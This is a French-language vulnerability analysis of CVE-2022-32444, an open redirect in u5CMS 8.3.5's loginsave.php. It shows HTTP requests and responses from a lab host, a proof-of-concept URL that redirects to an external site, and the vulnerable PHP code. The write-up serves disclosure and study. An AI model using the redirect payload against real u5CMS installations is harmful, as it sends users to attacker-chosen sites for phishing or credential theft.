CVE-2022-32444

23 Juin 2022

Je vous propose mon analyse de la CVE-2022-32444, qui est une vulnérabilité de type Open Redirect dans le système de gestion de contenu (CMS) nommé u5CMS.

Description

La version 8.3.5 d'u5CMS est vulnérable à une faille de type Open Redirect via le paramètre d'URL u de la page /loginsave.php.

Analyse de la vulnérabilité

La page loginsave.php est appelée suite à la soumission du formulaire d'authentification disponible à l'URL /u5admin/ :

La présence du paramètre u est visible directement dans la cible du formulaire et a pour valeur u5admin :

La requête est la suivante :

POST /u5cms-8.3.5/loginsave.php?u=u5admin HTTP/1.1
Host: 192.168.56.101
Content-Length: 42
Origin: http://192.168.56.101
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.56.101/u5cms-8.3.5/u5admin/
Cookie: i1_l=P; i2_l=d; pidvesa=a; aclan=fr
Connection: close

u=sh4rpforc0rc3%40gmail.com&p=password

La réponse est une 302 redirigeant l'utilisateur vers la page d'administration du CMS :

HTTP/1.1 302 Found
Date: Wed, 22 Jun 2022 22:37:16 GMT
Server: Apache/2.4.38 (Debian)
X-XSS-Protection: 0
Set-Cookie: u=sh4rpforc0rc3%40gmail.com; path=/; HttpOnly
Set-Cookie: p=2e6b6cdb26604865418a4814561a43d99ba549e3; path=/; HttpOnly
Location: u5admin?1655937436
Content-Length: 0
Connection: close
Content-Type: text/html; charset=latin1

Une fois la redirection effectuée, l'utilisateur se retrouve sur la page d'administration du CMS /u5admin/ :

En général, une faille de type OpenRedirect sur une mire de connexion peut s'exploiter de la façon suivante :

  1. L'URL de la mire est semblable à http://exemple.com/auth?redirect=openredirectvulnerability

  2. L'attaquant soumet cette URL, en adaptant la valeur désirée au paramètre redirect, à sa victime

  3. La victime renseigne ses identifiants et se retrouve redirigée vers l'URL renseignée par l'attaquant

Dans le cadre de u5cms, l'exploitation de la vulnérabilité est possible directement en soumettant l'URL http://u5cms-host/u5cms-8.3.5/loginsave.php?u=openredirectvulnerability, qu'importe que la victime soit authentifiée ou non :

GET /u5cms-8.3.5/loginsave.php?u=https://google.fr HTTP/1.1
Host: 192.168.56.101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 302 Found
Date: Wed, 22 Jun 2022 22:54:42 GMT
Server: Apache/2.4.38 (Debian)
X-XSS-Protection: 0
Location: https://google.fr?1655938482
Content-Length: 0
Connection: close
Content-Type: text/html; charset=latin1

Code vulnérable

Le fichier loginsave.php va récupérer la valeur du paramètre u et y effectuer un léger traitement :

  • récupérer la valeur dans $u[0] et des possibles fragments d'URL dans $u[1]

  • rediriger l'utilisateur vers index.php si la valeur $u[0] est une chaine vide

  • concaténer un timestamp dans l'URL grâce à la méthode time()

  • rediriger l'utilisateur vers la valeur contenu dans $u[0]

loginsave.php
$u=explode('#',$_GET['u']);
if(isset($u[1]))
  $u[1]='#'.$u[1];
else 
  $u[1]='';

if(trim($u[0])=='')
  $u[0]='index.php';
if(strpos($u[0],'?')>1)
  $u[0].='&'.time().$u[1];
else 
  $u[0].='?'.time().$u[1];

header("Location: ".$u[0]);

Ressources

Dernière mise à jour